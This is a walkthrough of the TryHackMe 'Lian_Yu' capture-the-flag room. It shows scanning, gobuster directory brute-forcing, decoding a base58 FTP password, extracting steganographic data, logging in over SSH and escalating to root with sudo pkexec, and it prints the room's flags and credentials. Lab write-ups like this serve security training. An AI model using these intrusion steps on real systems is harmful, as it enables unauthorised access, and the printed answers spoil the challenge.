THM

Liyan_Yu

A beginner level security challenge

Deploy the VM and Start the Enumeration

IP : 10.10.214.25

Just test network connectivity with target,

—# ping 10.10.214.25

I check the open ports of the target using rustscan.

PORT   STATE SERVICE REASON

21/tcp open ftp   syn-ack ttl 60

22/tcp open ssh   syn-ack ttl 60

80/tcp open http   syn-ack ttl 60

111/tcp open rpcbind syn-ack ttl 60

I use nmap to identify version of this services.

********** Namp scan **********

PORT   STATE SERVICE VERSION

21/tcp open ftp   vsftpd 3.0.2

22/tcp open ssh   OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)

| ssh-hostkey:

```
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp  open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|   100000  3,4         111/udp6  rpcbind
|   100024  1         35437/tcp6  status
|   100024  1         50702/udp   status
|   100024  1         56351/tcp   status
|_  100024  1         59917/udp6  status
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Network Distance: 5 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Q1 : What is the Web Directory you found?

To find the web directories we can use Gobuster (And also, ffuf, dirsearch, ... ,etc)

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.214.25/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php
```

[+] Timeout: 10s
===
Starting gobuster in directory enumeration mode
===

[2K/island (Status: 301) [Size: 235] [--> http://10.10.214.25/island/]

Hint on this question : In numbers (directory should be numbers)

To create a file that includes all numbers from 0000 to 9999 , we can use command

seq -w 0 9999 > numbers.txt

Then,
└─# gobuster dir -u http://10.10.214.25/island/ -w numbers.txt
===
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===
[+] Url: http://10.10.214.25/island/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: numbers.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===
Starting gobuster in directory enumeration mode
===
/2100 (Status: 301) [Size: 240] [--> http://10.10.214.25/island/2100/]

ANSWER : 2100

Q2 : what is the file name you found?

When we go to the web page(http://10.10.214.25/island/2100/)

3rd scan>>>>>>>>>>>>>>
└─# gobuster dir -u http://10.10.214.25/island/2100 -w

```
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .ticket -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.214.25/island/2100
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              ticket
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]
```

ANSWER : green_arrow.ticket

---

http://10.10.214.25/island/2100/green_arrow.ticket

In this path :
>>>>> This is just a token to get into Queen's Gambit(Ship)

RTy8yhBQdscX

Q3 : what is the FTP Password?

Using cybercheff: RTy8yhBQdscX
base58 -> !#th3h00d

ANSWER : !#th3h00d

So, ftp
USERNAME : vigilante
PASSWORD : !#th3h00d

```
Connected to 10.10.87.208.
220 (vsFTPd 3.0.2)
Name (10.10.87.208:kali): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||54032|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||5095|).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jp
```

**** use mget * to get all files (also use get)

**** All files are images so,
use steghide and stegseek(to get the passpres)

```
└─# stegseek aa.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "password"
[i] Original filename: "ss.zip".
[i] Extracting to "aa.jpg.out".
```

ALSO USE ,hexeditor and ghex to configure curupted hex values
Leave_me_along.pnh file is currupted.(check by using ghex)
89 50 4E 47 0D 0A 1A 0A

then use > steghide extract -sf aa.jpg this will get ss.zip

unzip it
it get two files.
shado and passwd.txt

shado include ssh password

Q4 : what is the file name with SSH password?

ANSWER : shado

SSH login

USERNAME : slade
PASSWORD : M3tahuman

```
└─# ssh slade@10.10.87.208
slade@10.10.87.208's password:
                        Way To SSH...
                    Loading.....Done..
                Connecting To Lian_Yu  Happy Hacking

slade@LianYu:~$ ls
user.txt
slade@LianYu:~$ cat user.txt
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
                    --Felicity Smoak

slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
root.txt
cat root.txt
                    Mission accomplished

You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.

THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}

--DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825

#